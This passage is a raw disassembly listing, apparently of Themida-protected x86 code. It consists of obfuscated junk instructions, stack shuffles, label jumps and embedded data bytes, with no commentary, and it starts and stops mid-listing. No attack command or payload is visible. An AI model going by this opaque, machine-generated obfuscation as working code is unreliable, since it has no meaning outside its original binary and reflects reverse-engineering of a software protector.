ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5A899E ; --------------------------------------------------------------------------- loc_5AECD7: ; CODE XREF: Themida_:005A5F2Aj mov esi, [esp] add esp, 4 jmp loc_5A44FB ; --------------------------------------------------------------------------- loc_5AECE5: ; CODE XREF: Themida_:loc_59EE1Aj sub esi, 8ED0E305h shr esi, 2 jmp loc_59B077 ; --------------------------------------------------------------------------- loc_5AECF3: ; CODE XREF: Themida_:005A8543j pop edx add ecx, ebx jmp loc_5AD088 ; --------------------------------------------------------------------------- db 5Eh dd 8B2434FFh, 0C4832434h, 4C48304h, 4EC81h, 0D1E90000h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_5AED13: ; CODE XREF: Themida_:005A0E67j mov esi, ebp mov ebp, [esp] add esp, 4 jmp loc_5ABBD8 ; --------------------------------------------------------------------------- loc_5AED20: ; CODE XREF: Themida_:005A6296j add esi, edi jmp loc_59A384 ; --------------------------------------------------------------------------- loc_5AED27: ; CODE XREF: Themida_:005AC4B4j add bl, al mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], esi jmp loc_5ADA0C ; --------------------------------------------------------------------------- loc_5AED3D: ; CODE XREF: Themida_:loc_5A2441j push ebx mov ebx, 12AA7922h add edi, ebx pop ebx xor edi, 0EBC17BEDh shl edi, 5 or edi, 26BD0E9Eh jmp loc_5A1A61 ; --------------------------------------------------------------------------- loc_5AED5A: ; CODE XREF: Themida_:005A70E9j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push edi push edx push 36A539EFh pop edx inc edx sub edx, 0C70AE7A7h jmp loc_5AF3F4 ; --------------------------------------------------------------------------- loc_5AED7D: ; CODE XREF: Themida_:005ABD23j pop ebp jmp loc_599648 ; --------------------------------------------------------------------------- loc_5AED83: ; CODE XREF: Themida_:005A57AEj mov eax, 4 add [esp+4], eax push dword ptr [esp] pop eax add esp, 4 pop edx push 31E4h mov [esp], ebx mov ebx, 5C3701C0h sub ebx, 67C710BCh sub ebx, 0FFFFFFFFh xchg ecx, ebx not ecx push ebx sub esp, 4 mov [esp], ecx mov ebx, [esp] add esp, 4 mov ecx, [esp] jmp loc_5A692D ; --------------------------------------------------------------------------- locret_5AEDC9: ; CODE XREF: Themida_:0059D289j retn ; --------------------------------------------------------------------------- dw 0D4E9h db 9Bh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AEDCF: ; CODE XREF: Themida_:005ADB44j sub edx, 68964CE5h jmp loc_59E842 ; --------------------------------------------------------------------------- loc_5AEDDA: ; CODE XREF: Themida_:005AAF04j push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_5ADAB6 ; --------------------------------------------------------------------------- loc_5AEDE7: ; CODE XREF: Themida_:0059B6B2j pop eax add esp, 4 add eax, 4 push esi mov esi, esp push edi jmp loc_5AE266 ; --------------------------------------------------------------------------- loc_5AEDFC: ; CODE XREF: Themida_:00598D92j ; Themida_:005AA4EEj add word ptr [esp+4], 1217h add [esp+4], dx jmp loc_59D8BF ; --------------------------------------------------------------------------- loc_5AEE0D: ; CODE XREF: Themida_:0059BE45j ; Themida_:005A199Bj sub esp, 4 jmp loc_5AFB1D ; --------------------------------------------------------------------------- loc_5AEE18: ; CODE XREF: Themida_:005A4F3Fj add cl, 12h add cl, 0F5h sub dh, 68h add dh, cl jmp loc_5A7050 ; --------------------------------------------------------------------------- loc_5AEE28: ; CODE XREF: Themida_:005A9960j mov eax, [esp] add esp, 4 push 37C0h mov [esp], esi mov esi, 986655Ch sub esp, 4 mov [esp], esi not dword ptr [esp] jmp loc_59BB45 ; --------------------------------------------------------------------------- loc_5AEE4F: ; CODE XREF: Themida_:005A5641j ; Themida_:005ACC1Bj xor eax, 4869C23h add ebx, eax jmp loc_59FD5C ; --------------------------------------------------------------------------- loc_5AEE5B: ; CODE XREF: Themida_:005A34F9j mov ebp, 4 sub eax, 57515842h jmp loc_5A11FF ; --------------------------------------------------------------------------- loc_5AEE6A: ; CODE XREF: Themida_:005A9405j ; Themida_:005AB22Bj neg cl xor cl, 2Dh xor cl, 47h jmp loc_5997A7 ; --------------------------------------------------------------------------- loc_5AEE77: ; CODE XREF: Themida_:005AA047j sub edi, ecx jmp loc_59A02A ; --------------------------------------------------------------------------- loc_5AEE7E: ; CODE XREF: Themida_:005A495Dj mov ah, 92h add dh, ah pop ax and al, dh pop edx push edx jmp loc_599E04 ; --------------------------------------------------------------------------- db 1, 0EAh, 0E9h dd 0FFFFD6E8h ; --------------------------------------------------------------------------- loc_5AEE94: ; CODE XREF: Themida_:005AB573j pop ecx jmp loc_5A0785 ; --------------------------------------------------------------------------- loc_5AEE9A: ; CODE XREF: Themida_:005AB129j push dword ptr [esp] pop eax jmp loc_5A3BE2 ; --------------------------------------------------------------------------- loc_5AEEA3: ; CODE XREF: Themida_:0059D31Aj pop esp push esi push ebx push 2D4D62A8h pop ebx jmp loc_5AD195 ; --------------------------------------------------------------------------- loc_5AEEB1: ; CODE XREF: Themida_:005AC4A1j shl eax, 3 jmp loc_5A7EF1 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0CC094CBAh, 0C2814A4Fh, 0C233397Ah, 0FF2A9BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AEECD: ; CODE XREF: Themida_:loc_5A6BDCj pop esi push edi jmp loc_5AA2E4 ; --------------------------------------------------------------------------- loc_5AEED4: ; CODE XREF: Themida_:005A3487j jmp loc_5A6FD3 ; --------------------------------------------------------------------------- db 81h, 0F3h, 0CCh dd 5362637Ch, 0FF96E6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AEEE5: ; CODE XREF: Themida_:00599BAEj add eax, edx add eax, 34D22E95h jmp loc_5AF2D4 ; --------------------------------------------------------------------------- loc_5AEEF1: ; CODE XREF: Themida_:005994D0j ; Themida_:loc_5AA00Fj and ebx, 0E02D7Dh jnp loc_59E63C dec ebx jg loc_5A7712 sub ah, 9Ch push ecx loc_5AEF08: ; CODE XREF: Themida_:005AD05Ej ; Themida_:005AEA5Aj jp loc_5A4636 push eax not byte ptr [esp+1] pop eax neg ah jmp loc_5A3093 ; --------------------------------------------------------------------------- loc_5AEF1B: ; CODE XREF: Themida_:005A9A19j sub edx, 167173Dh jmp loc_5AD14C ; --------------------------------------------------------------------------- loc_5AEF26: ; CODE XREF: Themida_:005A613Cj pop ebx add edx, edi pop edi xchg edx, [esp] pop esp push 1C66h mov [esp], ecx mov ecx, esp jmp loc_5AF6B1 ; --------------------------------------------------------------------------- loc_5AEF3D: ; CODE XREF: Themida_:loc_59C5A6j inc ecx jle loc_5A75A4 sub ecx, 0B74A92D7h mov esi, ecx mov esi, edi xchg ah, dh not ah jmp loc_5A0DA8 ; --------------------------------------------------------------------------- loc_5AEF57: ; CODE XREF: Themida_:005AA3CFj shr ebp, 5 push edx mov edx, 3A91247Ah add edx, 65374DAEh sub edx, 4DF508CDh jmp loc_59DFB5 ; --------------------------------------------------------------------------- loc_5AEF71: ; CODE XREF: Themida_:005A7E13j xor edi, 0B9677546h add esi, 57F54D20h add esi, edi sub esi, 57F54D20h pop edi add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_5A9989 ; --------------------------------------------------------------------------- loc_5AEF94: ; CODE XREF: Themida_:005ADF1Ej ; DATA XREF: Themida_:005988BCo movzx ax, byte ptr fs:[edx] push edi push 764Ch mov [esp], esp jmp loc_5A0022 ; --------------------------------------------------------------------------- loc_5AEFA7: ; CODE XREF: Themida_:005AF725j mov [esp], esp add dword ptr [esp], 4 pop ebx push eax jmp loc_5A00AB ; --------------------------------------------------------------------------- dd 92ABE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AEFBE: ; CODE XREF: Themida_:00599AA5j push ecx mov ecx, 4 add edi, ecx pop ecx xchg edi, [esp] pop esp or eax, eax jz loc_5ABE60 push ecx push 3B25h jmp loc_5A05FD ; --------------------------------------------------------------------------- loc_5AEFDE: ; CODE XREF: Themida_:0059B850j xchg edx, [esp] mov esp, [esp] jmp loc_599D71 ; --------------------------------------------------------------------------- db 0B1h, 2Ah, 28h dd 0E95966C8h, 0FFFEE6D5h, 5FF9015Bh, 4EC81h, 4890000h dd 4B824h, 0C1010000h, 0E92434FFh, 0FFFF97A6h dword_5AF010 dd 8B2434FFh, 0C4832404h, 148D6804h, 1C890000h, 815B5424h ; DATA XREF: Themida_:005986E0o dd 4ECh, 858AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AF02E: ; CODE XREF: Themida_:0059CA8Cj mov [esp], edi push ebx push edx mov edx, 21B33B31h jmp loc_5A6C96 ; --------------------------------------------------------------------------- loc_5AF03D: ; CODE XREF: Themida_:005AF203j push 16CCh mov [esp], ebx mov bl, 59h neg bl xor bl, 39h shr bl, 8 xor bl, 0ACh sub al, 56h add al, bl jmp loc_5A6DA5 ; --------------------------------------------------------------------------- loc_5AF05B: ; CODE XREF: Themida_:005AE383j mov edx, [esp] add esp, 4 push edx mov edx, 0E17895F3h add eax, edx pop edx add edi, 42963D04h add edi, eax sub edi, 42963D04h pop eax add edi, 2 xchg edi, [esp] mov esp, [esp] or [esp], al pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AF08E: ; CODE XREF: Themida_:00598E21j shl ah, 6 jmp loc_599620 ; --------------------------------------------------------------------------- loc_5AF096: ; CODE XREF: Themida_:005AA3ABj and esi, 11A914F8h jmp loc_5A04FE ; --------------------------------------------------------------------------- loc_5AF0A1: ; CODE XREF: Themida_:005A7475j add ebx, ebp sub ebx, 214A5A67h pop ebp jmp loc_5A547D ; --------------------------------------------------------------------------- loc_5AF0AF: ; CODE XREF: Themida_:005A7099j mov ebx, eax mov edx, ebx pop ebx pop eax sub ebx, edx mov edx, [esp] jmp loc_5A38B8 ; --------------------------------------------------------------------------- loc_5AF0BF: ; CODE XREF: Themida_:005AC97Ej add ebx, 26680828h jb loc_59DE4D sub ebx, 86423A4Fh mov ebp, ebx pop ebx add eax, 0C8D0DE4h add eax, 46ED1A0Ah jmp loc_5A6DE8 ; --------------------------------------------------------------------------- loc_5AF0E3: ; CODE XREF: Themida_:005A7AECj mov ebx, 56143A45h dec ebx jmp loc_59B002 ; --------------------------------------------------------------------------- loc_5AF0EE: ; CODE XREF: Themida_:0059E2DCj or edx, eax jmp loc_598DF3 ; --------------------------------------------------------------------------- loc_5AF0F5: ; CODE XREF: Themida_:0059A947j pop edi neg ebx push esi mov esi, 2A37689Dh xor esi, 4F1A0523h push ecx mov ecx, 377D4330h sub esi, 64026243h add esi, 69493C39h sub esi, ecx push ebp mov ebp, 9E2CEFh not ebp xor ebp, 3B8873B3h not ebp jmp loc_5AC4B9 ; --------------------------------------------------------------------------- db 81h, 0C2h, 89h dd 31F874C9h, 0FCE95AD5h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AF13B: ; CODE XREF: Themida_:00598F37j add al, dh jmp loc_59C901 ; --------------------------------------------------------------------------- loc_5AF142: ; CODE XREF: Themida_:005ACCE7j mov cl, 33h neg cl not cl jmp loc_5A3916 ; --------------------------------------------------------------------------- loc_5AF14D: ; CODE XREF: Themida_:loc_5A23A5j xor ecx, 9CE96EF3h neg ecx jmp loc_5AB026 ; --------------------------------------------------------------------------- dw 8B54h dd 0C4812404h, 4, 405h, 19E95100h, 58FFFF42h, 0FFCCFDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AF175: ; CODE XREF: Themida_:005AE3D8j mov esi, 7E4C74B5h sub esi, 0D583789h add esi, 0F2F8C997h jmp loc_59B949 ; --------------------------------------------------------------------------- loc_5AF18B: ; CODE XREF: Themida_:0059DE48j dec ebx add ebx, 534BD2BBh add edx, ebx pop ebx mov edi, edx pop edx add ebx, 429D647Bh sub ebx, edi sub ebx, 429D647Bh jmp loc_5A2550 ; --------------------------------------------------------------------------- loc_5AF1AB: ; CODE XREF: Themida_:005A4D83j add esi, 4 xchg esi, [esp] jmp loc_5A7681 ; --------------------------------------------------------------------------- db 68h, 4Dh, 12h dd 1C890000h, 351FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AF1C6: ; CODE XREF: Themida_:005A05CDj not ecx xchg eax, ecx xor eax, 16396459h jmp loc_5AFBF9 ; --------------------------------------------------------------------------- loc_5AF1D3: ; CODE XREF: Themida_:005992C7j mov [esp], ebx push 24h jmp loc_5996DA ; --------------------------------------------------------------------------- loc_5AF1E0: ; CODE XREF: Themida_:0059BF18j pop edx jmp loc_5A097C ; --------------------------------------------------------------------------- loc_5AF1E6: ; CODE XREF: Themida_:00598D7Aj mov esi, [esp] push ebx jmp loc_5AE079 ; --------------------------------------------------------------------------- loc_5AF1EF: ; CODE XREF: Themida_:0059AE03j sub ebp, ecx push dword ptr [esp] jmp loc_5A2270 ; --------------------------------------------------------------------------- loc_5AF1F9: ; CODE XREF: Themida_:005A4D68j push edx mov dl, 0BEh sub al, 52h add al, dl add al, 52h pop edx jmp loc_5AF03D ; --------------------------------------------------------------------------- dd 6E9C601h db 0A7h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AF20F: ; CODE XREF: Themida_:005ACAD2j mov edx, eax mov eax, [esp] add esp, 4 sub esi, 62204C5Ch add esi, edx push ebp mov ebp, 311A231Ah sub ebp, 0CEF9D6BEh add esi, ebp mov ebp, [esp] add esp, 4 pop edx sub esp, 4 mov [esp], edx mov edx, 4 push ebp mov ebp, 24FE7F98h add esi, ebp pop ebp sub esi, edx sub esi, 24FE7F98h mov edx, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5AA032 ; --------------------------------------------------------------------------- loc_5AF267: ; CODE XREF: Themida_:005ADDF5j sub bl, 0DEh pop ecx push edi mov edi, esp add edi, 4 push ecx mov ecx, 4 sub edi, ecx pop ecx sub esp, 4 jmp loc_5A54AB ; --------------------------------------------------------------------------- loc_5AF285: ; CODE XREF: Themida_:0059B3FBj inc ah push ebx mov bh, 4Dh and ah, bh push dword ptr [esp] pop ebx add esp, 4 push ecx jmp loc_59C0C9 ; --------------------------------------------------------------------------- db 1, 0C3h, 81h dd 5B487CEBh, 0FDEB815Ch, 0E9350E23h, 0FFFF030Eh ; --------------------------------------------------------------------------- loc_5AF2AC: ; CODE XREF: Themida_:loc_5A1E9Fj inc eax jns loc_59D5D5 jmp loc_5A0EBF ; --------------------------------------------------------------------------- dd 0E531E956h, 0C68BFFFFh ; --------------------------------------------------------------------------- loc_5AF2C0: ; CODE XREF: Themida_:005A7EF7j sub eax, 0D9C350C9h mov ebx, eax pop eax dec ebx sub ebx, 4A8742F2h jmp loc_5A8BDD ; --------------------------------------------------------------------------- loc_5AF2D4: ; CODE XREF: Themida_:005AEEECj sub eax, 296660F0h mov edx, [esp] push ebx mov ebx, esp jmp loc_5AA8A0 ; --------------------------------------------------------------------------- dd 0BE243489h, 2951313Ah, 2414F756h, 0F7EE815Eh, 0E945075Eh dd 0FFFF68BBh ; --------------------------------------------------------------------------- loc_5AF2FC: ; CODE XREF: Themida_:005AB722j sub esi, 425445DBh pop ebp push ebp push 54F5348Ah pop ebp sub ebp, 0FFFFFFFFh jmp loc_5A4863 ; --------------------------------------------------------------------------- loc_5AF312: ; CODE XREF: Themida_:005A775Fj and ebp, 159527B9h sub ebp, 0C306B915h add esi, 7A8809D3h jmp loc_5A30E7 ; --------------------------------------------------------------------------- loc_5AF329: ; CODE XREF: Themida_:005A5047j sub ch, bl mov bx, [esp] jmp loc_59AFEA ; --------------------------------------------------------------------------- loc_5AF334: ; CODE XREF: Themida_:005ACAC8j add edi, 0BBB7035h mov ecx, [esp] push edi mov edi, esp add edi, 4 jmp loc_59FC4E ; --------------------------------------------------------------------------- db 5Ah dd 0CA874258h, 0FFDFA5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AF355: ; CODE XREF: Themida_:0059FC3Ej push eax mov eax, 69AD2CCDh jmp loc_598D69 ; --------------------------------------------------------------------------- loc_5AF360: ; CODE XREF: Themida_:005A0580j add ebx, 2EE0603h jmp loc_5A6FC8 ; --------------------------------------------------------------------------- loc_5AF36B: ; CODE XREF: Themida_:005AC47Aj neg ecx sub ecx, 45862BC0h dec ecx jmp loc_5AB4DA ; --------------------------------------------------------------------------- loc_5AF379: ; CODE XREF: Themida_:005A136Bj push eax push 7D27h mov [esp], edx mov eax, [esp] push ecx push eax mov eax, esp jmp loc_5A8CB2 ; --------------------------------------------------------------------------- loc_5AF38E: ; CODE XREF: Themida_:0059E293j xchg esi, [esp] pop esp add ecx, edx jmp loc_59D28E ; --------------------------------------------------------------------------- loc_5AF399: ; CODE XREF: Themida_:0059F793j dec dl jmp loc_5ADD2B ; --------------------------------------------------------------------------- loc_5AF3A0: ; CODE XREF: Themida_:loc_5ABA9Dj dec ebx jno loc_5A750C or ebx, 2B3D7309h jmp loc_5A1F12 ; --------------------------------------------------------------------------- db 59h off_5AF3B3 dd offset dword_49005C+2370Ch ; DATA XREF: Themida_:00598738o align 4 dd 0BB241C89h, 0FEh, 0FF1EADE9h, 815752FFh, 4ECh, 8FFDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AF3D2: ; CODE XREF: Themida_:loc_5A7BD6j xor edx, 65B5EAEFh xor esi, edx jmp loc_5A1F68 ; --------------------------------------------------------------------------- loc_5AF3DF: ; CODE XREF: Themida_:005A23D0j sub ebx, 4A296107h jmp loc_598BF7 ; --------------------------------------------------------------------------- loc_5AF3EA: ; CODE XREF: Themida_:005A4DDCj mov ecx, 4 jmp loc_59E4CD ; --------------------------------------------------------------------------- loc_5AF3F4: ; CODE XREF: Themida_:0059D1B2j ; Themida_:005AED78j mov edi, edx jmp loc_5AE1B8 ; --------------------------------------------------------------------------- loc_5AF3FB: ; CODE XREF: Themida_:005AF438j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_5A0972 ; --------------------------------------------------------------------------- loc_5AF41D: ; CODE XREF: Themida_:005AC494j add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5A428D ; --------------------------------------------------------------------------- loc_5AF431: ; CODE XREF: Themida_:005A6628j xchg edx, [esp] pop esp push ebx mov ebx, esp jmp loc_5AF3FB ; --------------------------------------------------------------------------- loc_5AF43D: ; CODE XREF: Themida_:005A2B18j xchg eax, [esp] mov esp, [esp] xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ax jmp loc_5AD900 ; --------------------------------------------------------------------------- loc_5AF458: ; CODE XREF: Themida_:005A86F1j sub esp, 4 mov [esp], ebp pop edi pop ebp sub esp, 4 mov [esp], ebp push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ebp not dword ptr [esp] push dword ptr [esp] jmp loc_599140 ; --------------------------------------------------------------------------- loc_5AF48B: ; CODE XREF: Themida_:0059BA4Bj push dword ptr [edi+eax*4] jmp loc_59EFB5 ; --------------------------------------------------------------------------- db 89h dd 0E5C15EF5h, 0B68A0F02h, 0E9FFFF11h, 0FFFF3A98h ; --------------------------------------------------------------------------- loc_5AF4A4: ; CODE XREF: Themida_:0059C6C3j and al, ch mov cx, [esp] push esi mov esi, esp add esi, 4 jmp loc_5A1F8D ; --------------------------------------------------------------------------- dd 9FE95558h db 3Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AF4BF: ; CODE XREF: Themida_:005AF65Bj push dword ptr [esp] pop edx push 3375h mov [esp], esi push ebx mov ebx, esp jmp loc_5A0C32 ; --------------------------------------------------------------------------- loc_5AF4D3: ; CODE XREF: Themida_:0059B12Ej shl eax, 2 jmp loc_5A202B ; --------------------------------------------------------------------------- loc_5AF4DB: ; CODE XREF: Themida_:0059EDD9j sub esp, 4 mov [esp], edx push esp mov edx, [esp] add esp, 4 add edx, 4 push 3620h mov [esp], ebp jmp loc_59D498 ; --------------------------------------------------------------------------- loc_5AF4FE: ; CODE XREF: Themida_:0059AFF8j sub ch, 9Bh sub ch, 0E6h sub bl, 0B6h jmp loc_5AABD6 ; --------------------------------------------------------------------------- loc_5AF50C: ; CODE XREF: Themida_:005AE45Fj dec eax jmp loc_5A2BE0 ; --------------------------------------------------------------------------- loc_5AF512: ; CODE XREF: Themida_:005AFA38j or ebp, 420F1EF0h jge loc_5A4F44 and ebp, 53AC06A5h jmp loc_5AD9A0 ; --------------------------------------------------------------------------- byte_5AF529 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005987BCo dd 0D259669Dh, 0E99C2414h, 0FFFE946Bh ; --------------------------------------------------------------------------- loc_5AF538: ; CODE XREF: Themida_:0059D51Aj push ecx sub esp, 4 jmp loc_5AA779 ; --------------------------------------------------------------------------- loc_5AF544: ; CODE XREF: Themida_:005A5B92j mov esp, [esp] div ecx jmp loc_59F62D ; --------------------------------------------------------------------------- loc_5AF54E: ; CODE XREF: Themida_:0059AA51j mov [esp], ax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AF557: ; CODE XREF: Themida_:005A71FBj jns loc_5A9668 shl edi, 8 jns loc_59A0B7 mov ecx, edx push esi loc_5AF569: ; CODE XREF: Themida_:005ADE96j add ebx, 18BB1CC5h sub ebx, eax sub ebx, 18BB1CC5h add ebx, 3CB808B4h sub ebx, 1B3447ACh jmp loc_5A3C25 ; --------------------------------------------------------------------------- loc_5AF588: ; CODE XREF: Themida_:loc_59F44Cj neg edx jz loc_59E827 jmp loc_59A0CE ; --------------------------------------------------------------------------- loc_5AF595: ; CODE XREF: Themida_:005AACA4j xor [ecx], ebp pop ecx jmp loc_5A6D33 ; --------------------------------------------------------------------------- loc_5AF59D: ; CODE XREF: Themida_:00598C5Aj mov ebp, 41A93F70h jmp loc_59ED46 ; --------------------------------------------------------------------------- loc_5AF5A7: ; CODE XREF: Themida_:00599815j pop eax mov dh, 80h add dh, bh mov ebx, [esp] add esp, 4 add bl, 1Fh sub bl, dh jmp loc_5AAE72 ; --------------------------------------------------------------------------- dword_5AF5BC dd 505166ACh, 0FF2CF0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AF5C5: ; CODE XREF: Themida_:005AD656j add edi, 7DFC093Dh xor edi, 76EB798Dh inc edi jmp loc_5A0545 ; --------------------------------------------------------------------------- loc_5AF5D7: ; CODE XREF: Themida_:005A975Ej mov dl, 67h jmp loc_59C692 ; --------------------------------------------------------------------------- dw 0C101h dd 0FF455FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AF5E5: ; CODE XREF: Themida_:005A5C6Ej pop esp xor [esp], al pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- db 0B8h dd 2, 1205C681h, 9E97DC5h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AF5FF: ; CODE XREF: Themida_:005A0F86j add esp, 4 xor ebx, eax push ecx jmp loc_59FE89 ; --------------------------------------------------------------------------- loc_5AF60A: ; CODE XREF: Themida_:005AE141j shr dh, 2 and dh, 3Dh inc dh dec dh jmp loc_5A9273 ; --------------------------------------------------------------------------- loc_5AF619: ; CODE XREF: Themida_:0059901Fj push eax mov eax, esp jmp loc_59E71F ; --------------------------------------------------------------------------- loc_5AF621: ; CODE XREF: Themida_:005AB9DEj push ecx mov ecx, 4E77E6Eh jmp loc_5A1943 ; --------------------------------------------------------------------------- dd 815EF101h, 0E95517EEh, 9EEE8137h, 1084376h, 0A254E9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AF642: ; CODE XREF: Themida_:0059E308j add ecx, 31422D66h push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], edi jmp loc_5AF4BF ; --------------------------------------------------------------------------- loc_5AF660: ; CODE XREF: Themida_:0059F2FAj push 727Ch mov [esp], eax jmp loc_5A805A ; --------------------------------------------------------------------------- byte_5AF66D db 54h, 0FFh, 34h ; DATA XREF: Themida_:00598818o dd 24148B24h, 81E28952h, 4ECh, 240C8900h, 623A68h, 6011E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AF68A: ; CODE XREF: Themida_:005AB928j pop edx add esp, 4 jmp loc_5ABC16 ; --------------------------------------------------------------------------- loc_5AF696: ; CODE XREF: Themida_:005ABF65j jmp loc_5ADE3C ; --------------------------------------------------------------------------- db 0B9h dd 4, 3FE1ED81h, 0ED8166A1h, 43396CCCh, 0FF5635E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AF6B1: ; CODE XREF: Themida_:005AEF38j add ecx, 4 jmp loc_5A941D ; --------------------------------------------------------------------------- loc_5AF6BC: ; CODE XREF: Themida_:005A9D05j pop edx add ecx, 2 xor ecx, [esp] jmp loc_5998A7 ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFEF347h ; --------------------------------------------------------------------------- loc_5AF6D0: ; CODE XREF: Themida_:005ACE8Bj mov [esp], esi jmp loc_5A5378 ; --------------------------------------------------------------------------- loc_5AF6D8: ; CODE XREF: Themida_:0059B11Cj sub edx, 69034C38h jmp loc_5AA7FE ; --------------------------------------------------------------------------- loc_5AF6E3: ; CODE XREF: Themida_:00598E72j ; Themida_:005A6F4Fj xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] and ebx, ebp mov ebp, [esp] jmp loc_5A5B9D ; --------------------------------------------------------------------------- loc_5AF6F7: ; CODE XREF: Themida_:005A4271j pop ebp xor edx, 72926D7h or edx, 0C775F9Ah push edi mov edi, 5F574A1Bh or edx, edi pop edi add edx, 0BF2CC0B8h mov eax, edx pop edx sub [esp+4], eax pop eax push dword ptr [esp] pop eax push ebx push 354Dh jmp loc_5AEFA7 ; --------------------------------------------------------------------------- dw 0CF01h dd 4EF8159h, 87000000h, 895C243Ch, 0BD55243Ch, 57D80383h dd 8108E5C1h, 0FD98D9C5h, 8BEF8987h, 5CE9242Ch db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AF753: ; CODE XREF: Themida_:005A314Bj mov ebx, [esp] add esp, 4 pop dword ptr [esp] pop esp shl dword ptr [esp], cl jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AF768: ; CODE XREF: Themida_:005AE7BAj push ecx jmp loc_598F2E ; --------------------------------------------------------------------------- loc_5AF76E: ; CODE XREF: Themida_:005A11FAj ; Themida_:005AF893j jnp loc_5AA021 xor edi, 398B7D17h jmp loc_5A31BF ; --------------------------------------------------------------------------- loc_5AF77F: ; CODE XREF: Themida_:005A01B5j add eax, 5F1C159Eh mov ebx, eax mov eax, [esp] add esp, 4 sub edx, ebx pop ebx push dword ptr [esp] pop edi add esp, 4 jmp loc_59938B ; --------------------------------------------------------------------------- loc_5AF79E: ; CODE XREF: Themida_:loc_5A764Ej not ecx jmp loc_59CC03 ; --------------------------------------------------------------------------- byte_5AF7A5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005987ECo dd 2156824h, 1C890000h, 0E137E924h, 3C89FFFFh, 815F5424h dd 4ECh, 242C8900h, 3685253h, 0E9739D40h, 0FFFEB591h ; --------------------------------------------------------------------------- loc_5AF7D0: ; CODE XREF: Themida_:0059A683j ; Themida_:loc_5A5C57j add edi, 4 xchg edi, [esp] jmp loc_5A87F0 ; --------------------------------------------------------------------------- db 55h dd 2BDh, 0E9E80100h, 0FFFEE082h ; --------------------------------------------------------------------------- loc_5AF7E8: ; CODE XREF: Themida_:0059A260j add esp, 4 push eax push esp pop eax push ecx jmp loc_5A3729 ; --------------------------------------------------------------------------- loc_5AF7F7: ; CODE XREF: Themida_:005A71A7j mov [esp], ebp push 6EDBh mov [esp], edx mov edx, 3E6C6011h push ecx push 5FE3CE0h pop ecx dec ecx jl loc_59F0F9 jmp loc_5A9B57 ; --------------------------------------------------------------------------- loc_5AF81A: ; CODE XREF: Themida_:005AAE84j mov dh, 0E8h mov ah, dh jmp loc_5AD24C ; --------------------------------------------------------------------------- db 81h dd 9A683CEFh, 81CF015Dh, 9A683CC7h, 0A3E9595Dh db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AF837: ; CODE XREF: Themida_:0059EF82j xor [esp], ebx xor ebx, [esp] xor [esp], ebx push ecx jmp loc_59DDBB ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 50240C89h, 0CCFE57B4h, 0FF845BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AF859: ; CODE XREF: Themida_:005A4C45j mov [esp], ecx mov ecx, 3F133A1Eh jmp loc_59DA29 ; --------------------------------------------------------------------------- loc_5AF866: ; CODE XREF: Themida_:005ACE15j mov [esp], esp jmp loc_5A5DF1 ; --------------------------------------------------------------------------- dw 0E1C1h dd 7E1C102h, 1C181h, 83530000h, 48904ECh, 3EFC6824h, 0E958128Dh dd 0FFFED6EAh ; --------------------------------------------------------------------------- loc_5AF88C: ; CODE XREF: Themida_:loc_5A01E9j xor ebp, 4E0F5DDEh inc ebp jmp loc_5AF76E ; --------------------------------------------------------------------------- loc_5AF898: ; CODE XREF: Themida_:0059FF6Dj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push edx push eax mov eax, 6A9E2877h mov edx, eax pop eax mov eax, 6A9E287Bh add eax, 53B043BAh jmp loc_5AE5AE ; --------------------------------------------------------------------------- loc_5AF8BE: ; CODE XREF: Themida_:005A1BC2j push 5AE1h mov [esp], edi jmp loc_5AAD79 ; --------------------------------------------------------------------------- loc_5AF8CB: ; CODE XREF: Themida_:005AB64Cj add esp, 4 push 594Fh jmp loc_5A734F ; --------------------------------------------------------------------------- loc_5AF8DB: ; CODE XREF: Themida_:005A784Dj add ebx, edx jmp loc_5AC641 ; --------------------------------------------------------------------------- loc_5AF8E2: ; CODE XREF: Themida_:005A8574j ; Themida_:005A8A84j add esp, 4 xchg esi, [esp] pop esp push ecx 